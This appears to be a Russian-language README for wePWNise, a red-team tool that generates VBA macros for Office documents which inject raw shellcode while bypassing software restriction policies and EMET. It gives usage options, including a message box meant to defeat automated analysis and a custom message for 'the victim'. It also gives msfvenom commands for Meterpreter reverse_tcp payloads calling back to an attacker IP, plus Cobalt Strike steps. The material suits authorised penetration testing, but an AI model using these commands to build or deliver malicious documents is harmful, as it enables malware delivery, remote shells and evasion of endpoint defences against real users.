
WePWNise генерирует архитектурно-независимый код VBA для использования в документах или шаблонах Office и автоматизирует обход средств контроля приложений и программного обеспечения для смягчения последствий эксплойтов.
wePWNise — это доказательный концептуальный скрипт на Python, который генерирует код VBA, используемый в макросах или шаблонах Office. Он был разработан с учётом автоматизации и интеграции, ориентирован на сценарии с ограниченными средами. Инструмент перечисляет политики ограничения программного обеспечения (SRP) и средства защиты EMET, а также динамически определяет безопасные двоичные файлы для внедрения полезных нагрузок. wePWNise интегрируется с существующими эксплуатационными платформами (например, Metasploit, Cobalt Strike) и также принимает любые пользовательские полезные нагрузки в сыром формате.
Чтобы начать использовать wePWNise, сначала ознакомьтесь с поддерживаемыми параметрами:
usage: wepwnise.py [-h] -i86 <x86_shellcode> -i64 <x64_shellcode> [--inject64]
[--out <output_file>] [--msgbox] [--msg <window_message>]
optional arguments:
-h, --help show this help message and exit
-i86 <x86_shellcode> Input x86 raw shellcode
-i64 <x64_shellcode> Input x64 raw shellcode
--inject64 Inject into 64 Bit. Set to False when delivering x86
payloads only. Default is True
--out <output_file> File to output the VBA macro to
--msgbox Present messagebox to prevent automated analysis.
Default is True.
--msg <window_message>
Custom message to present the victim if --msgbox is
set to True
wePWNise требует как 32-битные, так и 64-битные сырые полезные нагрузки, чтобы иметь возможность доставить подходящий тип при попадании на неизвестную цель. Однако, если нацелена только архитектура x86, необходимо предоставить фиктивную 64-битную полезную нагрузку для замены отсутствующего кода.
Чтобы обойти некоторые конфигурации автоматического анализа, при выполнении кода открывается окно сообщения. Текст окна сообщения можно изменить, указав его значение в параметре --msg. Чтобы отключить эту функцию, установите параметр --msgbox в значение False.
Из-за условий производительности, которые могут возникнуть из-за длинных политик SRP/EMET, wePWNise читает два конфигурационных файла (binary-paths.txt и directory-paths.txt), содержащие список исполняемых файлов и каталогов, которые с меньшей вероятностью будут отслеживаться, для первоначальной проверки. Редактируя содержимое этих файлов, пользователь может вместо этого определить свой собственный выбор. Если файлы пусты, wePWNise сразу приступит к чтению политик SRP/EMET, как они были бы определены в реестре, и сделает свой выбор внедрения исключительно на основе полученной информации.
В следующих разделах описаны некоторые основные примеры использования wePWNise.
Сначала полезные нагрузки для обеих архитектур x86 и x64 в сыром формате, и убедитесь, что слушатели Metasploit настроены соответствующим образом.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -o /payloads/msf86.raw
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -a x86_64 -o /payloads/msf64.raw
Затем укажите wePWNise на сгенерированные полезные нагрузки и направьте вывод в msf_wepwn.txt
$ wepwnise.py -i86 /payloads/msf86.raw -i64 /payloads/msf64.raw --out /payloads/msf_wepwn.txt
Чтобы сгенерировать сырую полезную нагрузку в Cobalt Strike, перейдите в следующее меню и в раскрывающемся списке Output выберите формат Raw. Повторите процесс и установите флажок x64 для создания 64-битной полезной нагрузки.
Attacks > Packages > Payload Generator
Введите сгенерированные полезные нагрузки в wePWNise для генерации кода VBA.
$ wepwnise.py -i86 /payloads/cs86.raw -i64 /payloads/cs64.raw --msgbox False --out /payloads/cs_wepwn.txt
В некоторых случаях может быть доступна только полезная нагрузка x86. Поскольку wePWNise ожидает как 32-битные, так и 64-битные полезные нагрузки, чтобы отключить 64-битное внедрение, создайте фиктивный 64-битный файл и установите параметр --inject64 в значение False.
$ echo "+" > /payloads/dummy64.raw
$ wepwnise.py -i86 /payloads/custom.raw -i64 /payloads/dummy64.raw --inject64 False --out /payloads/wepwn86.txt
Аналогично, для генерации только 64-битных полезных нагрузок создайте фиктивный x86 файл и укажите его в параметре командной строки -i86 wePWNise.
wePWNise распространяется под лицензией BSD с 3 пунктами и поддерживается MWR InfoSecurity
Этот инструмент был первоначально разработан Vincent Yiu (@vysecurity).